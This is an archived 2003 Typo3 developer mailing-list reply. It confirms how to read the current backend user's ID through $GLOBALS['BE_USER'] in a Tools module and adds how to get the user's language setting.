at hades.org Tue Sep 30 22:40:48 2003 From: je at hades.org (Jens Ellerbrock) Date: Tue, 30 Sep 2003 22:40:48 +0200 Subject: [Typo3-dev] How to get current BE user in a Tools Module References: Message-ID: Kasper Sk?rh?j wrote: > Please just use $GLOBALS["BE_USER"]->user["uid"] thanks, sometimes things can be so easy... For the records: you can get the users language with $GLOBALS['BE_USER']->uc['lang'] Jens